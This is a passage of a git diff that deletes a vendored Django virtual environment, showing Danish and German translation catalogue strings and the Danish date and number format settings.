[DD] " -"[[TT:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Varighed" - -msgid "Email address" -msgstr "E-mail-adresse" - -msgid "File path" -msgstr "Sti" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s”-værdien skal være et kommatal." - -msgid "Floating point number" -msgstr "Flydende-komma-tal" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s”-værdien skal være et heltal." - -msgid "Integer" -msgstr "Heltal" - -msgid "Big (8 byte) integer" -msgstr "Stort heltal (8 byte)" - -msgid "Small integer" -msgstr "Lille heltal" - -msgid "IPv4 address" -msgstr "IPv4-adresse" - -msgid "IP address" -msgstr "IP-adresse" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s”-værdien skal være enten None, True eller False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolsk (True, False eller None)" - -msgid "Positive big integer" -msgstr "Positivt stort heltal" - -msgid "Positive integer" -msgstr "Positivt heltal" - -msgid "Positive small integer" -msgstr "Positivt lille heltal" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "\"Slug\" (op til %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s”-værdien har et ugyldigt format. Den skal være i formatet TT:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s”-værdien har det korrekte format (TT:MM[:ss[.uuuuuu]]) men er et " -"ugyldigt tidspunkt." - -msgid "Time" -msgstr "Tid" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Rå binære data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” er ikke et gyldigt UUID." - -msgid "Universally unique identifier" -msgstr "Universelt unik identifikator" - -msgid "File" -msgstr "Fil" - -msgid "Image" -msgstr "Billede" - -msgid "A JSON object" -msgstr "Et JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Værdien skal være gyldig JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s-instans med %(field)s %(value)r er ikke et gyldigt valg." - -msgid "Foreign Key (type determined by related field)" -msgstr "Fremmednøgle (type bestemt af relateret felt)" - -msgid "One-to-one relationship" -msgstr "En-til-en-relation" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s-relation" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s-relationer" - -msgid "Many-to-many relationship" -msgstr "Mange-til-mange-relation" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Dette felt er påkrævet." - -msgid "Enter a whole number." -msgstr "Indtast et heltal." - -msgid "Enter a valid date." -msgstr "Indtast en gyldig dato." - -msgid "Enter a valid time." -msgstr "Indtast en gyldig tid." - -msgid "Enter a valid date/time." -msgstr "Indtast gyldig dato/tid." - -msgid "Enter a valid duration." -msgstr "Indtast en gyldig varighed." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Antallet af dage skal være mellem {min_days} og {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ingen fil blev indsendt. Kontroller kodningstypen i formularen." - -msgid "No file was submitted." -msgstr "Ingen fil blev indsendt." - -msgid "The submitted file is empty." -msgstr "Den indsendte fil er tom." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "Dette filnavn må højst have %(max)d tegn (det har %(length)d)." -msgstr[1] "Dette filnavn må højst have %(max)d tegn (det har %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Du skal enten indsende en fil eller afmarkere afkrydsningsfeltet, ikke begge " -"dele." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Indsend en billedfil. Filen, du indsendte, var enten ikke et billede eller " -"en defekt billedfil." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Marker en gyldig valgmulighed. %(value)s er ikke en af de tilgængelige " -"valgmuligheder." - -msgid "Enter a list of values." -msgstr "Indtast en liste af værdier." - -msgid "Enter a complete value." -msgstr "Indtast en komplet værdi." - -msgid "Enter a valid UUID." -msgstr "Indtast et gyldigt UUID." - -msgid "Enter a valid JSON." -msgstr "Indtast gyldig JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skjult felt %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-data mangler eller er blevet pillet ved. Manglende felter: " -"%(field_names)s. Du kan få behov for at oprette en fejlrapport hvis " -"problemet varer ved." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Indsend venligst højst %(num)d formular." -msgstr[1] "Indsend venligst højst %(num)d formularer." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Indsend venligst mindst %(num)d formular." -msgstr[1] "Indsend venligst mindst %(num)d formularer." - -msgid "Order" -msgstr "Rækkefølge" - -msgid "Delete" -msgstr "Slet" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ret venligst duplikerede data for %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Ret venligst de duplikerede data for %(field)s, som skal være unik." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ret venligst de duplikerede data for %(field_name)s, som skal være unik for " -"%(lookup)s i %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Ret venligst de duplikerede data herunder." - -msgid "The inline value did not match the parent instance." -msgstr "Den indlejrede værdi passede ikke med forældreinstansen." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Marker en gyldig valgmulighed. Det valg, du har foretaget, er ikke blandt de " -"tilgængelige valgmuligheder." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” er ikke en gyldig værdi." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kunne ikke fortolkes i tidszonen %(current_timezone)s; den kan " -"være tvetydig eller den eksisterer måske ikke." - -msgid "Clear" -msgstr "Afmarkér" - -msgid "Currently" -msgstr "Aktuelt" - -msgid "Change" -msgstr "Ret" - -msgid "Unknown" -msgstr "Ukendt" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nej" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nej,måske" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "midnat" - -msgid "noon" -msgstr "middag" - -msgid "Monday" -msgstr "mandag" - -msgid "Tuesday" -msgstr "tirsdag" - -msgid "Wednesday" -msgstr "onsdag" - -msgid "Thursday" -msgstr "torsdag" - -msgid "Friday" -msgstr "fredag" - -msgid "Saturday" -msgstr "lørdag" - -msgid "Sunday" -msgstr "søndag" - -msgid "Mon" -msgstr "man" - -msgid "Tue" -msgstr "tir" - -msgid "Wed" -msgstr "ons" - -msgid "Thu" -msgstr "tor" - -msgid "Fri" -msgstr "fre" - -msgid "Sat" -msgstr "lør" - -msgid "Sun" -msgstr "søn" - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "marts" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sept" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "marts" - -msgctxt "abbrev. month" -msgid "April" -msgstr "april" - -msgctxt "abbrev. month" -msgid "May" -msgstr "maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec." - -msgctxt "alt. month" -msgid "January" -msgstr "januar" - -msgctxt "alt. month" -msgid "February" -msgstr "februar" - -msgctxt "alt. month" -msgid "March" -msgstr "marts" - -msgctxt "alt. month" -msgid "April" -msgstr "april" - -msgctxt "alt. month" -msgid "May" -msgstr "maj" - -msgctxt "alt. month" -msgid "June" -msgstr "juni" - -msgctxt "alt. month" -msgid "July" -msgstr "juli" - -msgctxt "alt. month" -msgid "August" -msgstr "august" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "december" - -msgid "This is not a valid IPv6 address." -msgstr "Dette er ikke en gyldig IPv6-adresse." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "eller" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d år" -msgstr[1] "%(num)d år" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d måned" -msgstr[1] "%(num)d måneder" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d uge" -msgstr[1] "%(num)d uger" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dage" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d time" -msgstr[1] "%(num)d timer" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minutter" - -msgid "Forbidden" -msgstr "Forbudt" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verifikationen mislykkedes. Forespørgslen blev afbrudt." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Du ser denne besked fordi denne HTTPS-webside kræver at din browser sender " -"en “Referer header”, som ikke blev sendt. Denne header er påkrævet af " -"sikkerhedsmæssige grunde for at sikre at din browser ikke bliver kapret af " -"tredjepart." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Hvis du har opsat din browser til ikke at sende “Referer” headere, beder vi " -"dig slå dem til igen, i hvert fald for denne webside, eller for HTTPS-" -"forbindelser, eller for “same-origin”-forespørgsler." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Hvis du bruger tagget eller " -"inkluderer headeren “Referrer-Policy: no-referrer”, så fjern dem venligst. " -"CSRF-beskyttelsen afhænger af at “Referer”-headeren udfører stringent " -"referer-kontrol. Hvis du er bekymret om privatliv, så brug alternativer så " -"som for links til tredjepartswebsider." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Du ser denne besked fordi denne webside kræver en CSRF-cookie, når du sender " -"formularer. Denne cookie er påkrævet af sikkerhedsmæssige grunde for at " -"sikre at din browser ikke bliver kapret af tredjepart." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Hvis du har slået cookies fra i din browser, beder vi dig slå dem til igen, " -"i hvert fald for denne webside, eller for “same-origin”-forespørgsler." - -msgid "More information is available with DEBUG=True." -msgstr "Mere information er tilgængeligt med DEBUG=True." - -msgid "No year specified" -msgstr "Intet år specificeret" - -msgid "Date out of range" -msgstr "Dato uden for rækkevidde" - -msgid "No month specified" -msgstr "Ingen måned specificeret" - -msgid "No day specified" -msgstr "Ingen dag specificeret" - -msgid "No week specified" -msgstr "Ingen uge specificeret" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ingen %(verbose_name_plural)s til rådighed" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Fremtidige %(verbose_name_plural)s ikke tilgængelige, fordi %(class_name)s ." -"allow_future er falsk." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ugyldig datostreng “%(datestr)s” givet format “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Ingen %(verbose_name)s fundet matcher forespørgslen" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Side er ikke “sidste”, og kan heller ikke konverteres til en int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ugyldig side (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tom liste og “%(class_name)s.allow_empty” er falsk." - -msgid "Directory indexes are not allowed here." -msgstr "Mappeindekser er ikke tilladte her" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” eksisterer ikke" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Indeks for %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Installationen virkede! Tillykke!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Vis udgivelsesnoter for Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Du ser denne side fordi du har DEBUG=True i din settings-fil og ikke har opsat nogen " -"URL'er." - -msgid "Django Documentation" -msgstr "Django-dokumentation" - -msgid "Topics, references, & how-to’s" -msgstr "Emner, referencer & how-to’s" - -msgid "Tutorial: A Polling App" -msgstr "Gennemgang: En afstemnings-app" - -msgid "Get started with Django" -msgstr "Kom i gang med Django" - -msgid "Django Community" -msgstr "Django-fællesskabet" - -msgid "Connect, get help, or contribute" -msgstr "Forbind, få hjælp eller bidrag" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/da/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index db3ccaa7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 4ef3d1c4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/da/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/da/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/da/formats.py deleted file mode 100644 index 58292084..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/da/formats.py +++ /dev/null @@ -1,26 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.mo deleted file mode 100644 index e3ef1cbf..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.po deleted file mode 100644 index 90037a28..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/de/LC_MESSAGES/django.po +++ /dev/null @@ -1,1356 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Hagenbruch, 2011-2012 -# Florian Apolloner , 2011 -# Daniel Roschka , 2016 -# Florian Apolloner , 2018,2020-2023 -# jnns, 2011,2013 -# Jannis Leidel , 2013-2018,2020 -# jnns, 2016 -# Markus Holtermann , 2023 -# Markus Holtermann , 2013,2015 -# Raphael Michel , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-04 06:49+0000\n" -"Last-Translator: Markus Holtermann , 2023\n" -"Language-Team: German (http://app.transifex.com/django/django/language/de/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: de\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabisch" - -msgid "Algerian Arabic" -msgstr "Algerisches Arabisch" - -msgid "Asturian" -msgstr "Asturisch" - -msgid "Azerbaijani" -msgstr "Aserbaidschanisch" - -msgid "Bulgarian" -msgstr "Bulgarisch" - -msgid "Belarusian" -msgstr "Weißrussisch" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Bretonisch" - -msgid "Bosnian" -msgstr "Bosnisch" - -msgid "Catalan" -msgstr "Katalanisch" - -msgid "Central Kurdish (Sorani)" -msgstr "Zentralkurdisch (Sorani)" - -msgid "Czech" -msgstr "Tschechisch" - -msgid "Welsh" -msgstr "Walisisch" - -msgid "Danish" -msgstr "Dänisch" - -msgid "German" -msgstr "Deutsch" - -msgid "Lower Sorbian" -msgstr "Niedersorbisch" - -msgid "Greek" -msgstr "Griechisch" - -msgid "English" -msgstr "Englisch" - -msgid "Australian English" -msgstr "Australisches Englisch" - -msgid "British English" -msgstr "Britisches Englisch" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanisch" - -msgid "Argentinian Spanish" -msgstr "Argentinisches Spanisch" - -msgid "Colombian Spanish" -msgstr "Kolumbianisches Spanisch" - -msgid "Mexican Spanish" -msgstr "Mexikanisches Spanisch" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguanisches Spanisch" - -msgid "Venezuelan Spanish" -msgstr "Venezolanisches Spanisch" - -msgid "Estonian" -msgstr "Estnisch" - -msgid "Basque" -msgstr "Baskisch" - -msgid "Persian" -msgstr "Persisch" - -msgid "Finnish" -msgstr "Finnisch" - -msgid "French" -msgstr "Französisch" - -msgid "Frisian" -msgstr "Friesisch" - -msgid "Irish" -msgstr "Irisch" - -msgid "Scottish Gaelic" -msgstr "Schottisch-Gälisch" - -msgid "Galician" -msgstr "Galicisch" - -msgid "Hebrew" -msgstr "Hebräisch" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatisch" - -msgid "Upper Sorbian" -msgstr "Obersorbisch" - -msgid "Hungarian" -msgstr "Ungarisch" - -msgid "Armenian" -msgstr "Armenisch" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesisch" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Isländisch" - -msgid "Italian" -msgstr "Italienisch" - -msgid "Japanese" -msgstr "Japanisch" - -msgid "Georgian" -msgstr "Georgisch" - -msgid "Kabyle" -msgstr "Kabylisch" - -msgid "Kazakh" -msgstr "Kasachisch" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreanisch" - -msgid "Kyrgyz" -msgstr "Kirgisisch" - -msgid "Luxembourgish" -msgstr "Luxemburgisch" - -msgid "Lithuanian" -msgstr "Litauisch" - -msgid "Latvian" -msgstr "Lettisch" - -msgid "Macedonian" -msgstr "Mazedonisch" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolisch" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malaiisch" - -msgid "Burmese" -msgstr "Birmanisch" - -msgid "Norwegian Bokmål" -msgstr "Norwegisch (Bokmål)" - -msgid "Nepali" -msgstr "Nepali" - -msgid "Dutch" -msgstr "Niederländisch" - -msgid "Norwegian Nynorsk" -msgstr "Norwegisch (Nynorsk)" - -msgid "Ossetic" -msgstr "Ossetisch" - -msgid "Punjabi" -msgstr "Panjabi" - -msgid "Polish" -msgstr "Polnisch" - -msgid "Portuguese" -msgstr "Portugiesisch" - -msgid "Brazilian Portuguese" -msgstr "Brasilianisches Portugiesisch" - -msgid "Romanian" -msgstr "Rumänisch" - -msgid "Russian" -msgstr "Russisch" - -msgid "Slovak" -msgstr "Slowakisch" - -msgid "Slovenian" -msgstr "Slowenisch" - -msgid "Albanian" -msgstr "Albanisch" - -msgid "Serbian" -msgstr "Serbisch" - -msgid "Serbian Latin" -msgstr "Serbisch (Latein)" - -msgid "Swedish" -msgstr "Schwedisch" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamilisch" - -msgid "Telugu" -msgstr "Telugisch" - -msgid "Tajik" -msgstr "Tadschikisch" - -msgid "Thai" -msgstr "Thailändisch" - -msgid "Turkmen" -msgstr "Turkmenisch" - -msgid "Turkish" -msgstr "Türkisch" - -msgid "Tatar" -msgstr "Tatarisch" - -msgid "Udmurt" -msgstr "Udmurtisch" - -msgid "Uyghur" -msgstr "Uigurisch" - -msgid "Ukrainian" -msgstr "Ukrainisch" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Usbekisch" - -msgid "Vietnamese" -msgstr "Vietnamesisch" - -msgid "Simplified Chinese" -msgstr "Vereinfachtes Chinesisch" - -msgid "Traditional Chinese" -msgstr "Traditionelles Chinesisch" - -msgid "Messages" -msgstr "Mitteilungen" - -msgid "Site Maps" -msgstr "Sitemaps" - -msgid "Static Files" -msgstr "Statische Dateien" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Diese Seitennummer ist keine Ganzzahl" - -msgid "That page number is less than 1" -msgstr "Diese Seitennummer ist kleiner als 1" - -msgid "That page contains no results" -msgstr "Diese Seite enthält keine Ergebnisse" - -msgid "Enter a valid value." -msgstr "Bitte einen gültigen Wert eingeben." - -msgid "Enter a valid URL." -msgstr "Bitte eine gültige Adresse eingeben." - -msgid "Enter a valid integer." -msgstr "Bitte eine gültige Ganzzahl eingeben." - -msgid "Enter a valid email address." -msgstr "Bitte gültige E-Mail-Adresse eingeben." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Bitte ein gültiges Kürzel, bestehend aus Buchstaben, Ziffern, Unterstrichen " -"und Bindestrichen, eingeben." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Bitte ein gültiges Kürzel eingeben, bestehend aus Buchstaben (Unicode), " -"Ziffern, Unter- und Bindestrichen." - -msgid "Enter a valid IPv4 address." -msgstr "Bitte eine gültige IPv4-Adresse eingeben." - -msgid "Enter a valid IPv6 address." -msgstr "Bitte eine gültige IPv6-Adresse eingeben." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Bitte eine gültige IPv4- oder IPv6-Adresse eingeben" - -msgid "Enter only digits separated by commas." -msgstr "Bitte nur durch Komma getrennte Ziffern eingeben." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Bitte sicherstellen, dass der Wert %(limit_value)s ist. (Er ist " -"%(show_value)s.)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Dieser Wert muss kleiner oder gleich %(limit_value)s sein." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Dieser Wert muss größer oder gleich %(limit_value)s sein." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Dieser Wert muss ein Vielfaches von %(limit_value)s sein." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Dieser Wert muss ein Vielfaches von %(limit_value)s sein und bei %(offset)s " -"beginnen, z.B. %(offset)s, %(valid_value1)s, %(valid_value2)s, und so weiter." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bitte sicherstellen, dass der Wert aus mindestens %(limit_value)d Zeichen " -"besteht. (Er besteht aus %(show_value)d Zeichen.)" -msgstr[1] "" -"Bitte sicherstellen, dass der Wert aus mindestens %(limit_value)d Zeichen " -"besteht. (Er besteht aus %(show_value)d Zeichen.)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Bitte sicherstellen, dass der Wert aus höchstens %(limit_value)d Zeichen " -"besteht. (Er besteht aus %(show_value)d Zeichen.)" -msgstr[1] "" -"Bitte sicherstellen, dass der Wert aus höchstens %(limit_value)d Zeichen " -"besteht. (Er besteht aus %(show_value)d Zeichen.)" - -msgid "Enter a number." -msgstr "Bitte eine Zahl eingeben." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -"Bitte sicherstellen, dass der Wert höchstens %(max)s Ziffer enthält." -msgstr[1] "" -"Bitte sicherstellen, dass der Wert höchstens %(max)s Ziffern enthält." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Bitte sicherstellen, dass der Wert höchstens %(max)s Dezimalstelle enthält." -msgstr[1] "" -"Bitte sicherstellen, dass der Wert höchstens %(max)s Dezimalstellen enthält." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Bitte sicherstellen, dass der Wert höchstens %(max)s Ziffer vor dem Komma " -"enthält." -msgstr[1] "" -"Bitte 